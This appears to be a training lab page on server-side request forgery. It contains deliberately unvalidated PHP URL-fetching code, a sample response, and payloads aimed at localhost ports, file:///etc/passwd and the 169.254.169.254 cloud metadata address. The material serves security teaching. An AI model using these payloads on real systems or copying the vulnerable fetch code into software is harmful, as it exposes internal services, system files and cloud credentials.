SSRF in basic URL fetching functionality
This lab demonstrates a basic SSRF vulnerability in a URL fetcher service. The application makes server-side requests to user-supplied URLs without proper validation, allowing access to internal services.
Objective: Use SSRF to access internal services, cloud metadata, or local files.
// Handle URL fetch request
if (isset($_GET['url']) && !empty($_GET['url'])) {
$url = $_GET['url'];
// Vulnerable: No validation of URL
try {
$context = stream_context_create([
'http' => [
'timeout' => 10,
'user_agent' => 'SSRF-Lab/1.0'
]
]);
$response = file_get_contents($url, false, $context);
if ($response !== false) {
// Display response content
}
} catch (Exception $e) {
// Error handling
}
}
// Example vulnerable usage:
// ?url=https://example.com
// ?url=http://localhost:8080
// ?url=file:///etc/passwd
{
"args": {},
"headers": {
"Host": "httpbin.org",
"User-Agent": "SSRF-Lab/1.0",
"X-Amzn-Trace-Id": "Root=1-69f06232-0ef0388240fe54d53216cde0"
},
"origin": "49.12.85.254",
"url": "https://httpbin.org/get"
}
HTTP/1.1 200 OK Date: Tue, 28 Apr 2026 07:30:58 GMT Content-Type: application/json Content-Length: 233 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
urlTry these payloads in the url parameter:
http://localhost:8080 - Local servicehttp://127.0.0.1:3306 - Database portfile:///etc/passwd - Local filehttp://169.254.169.254/ - Cloud metadatahttp://localhost:22 - SSH portExample URLs:
1.php?url=http://localhost:80801.php?url=file:///etc/passwdClick these links to test the vulnerability: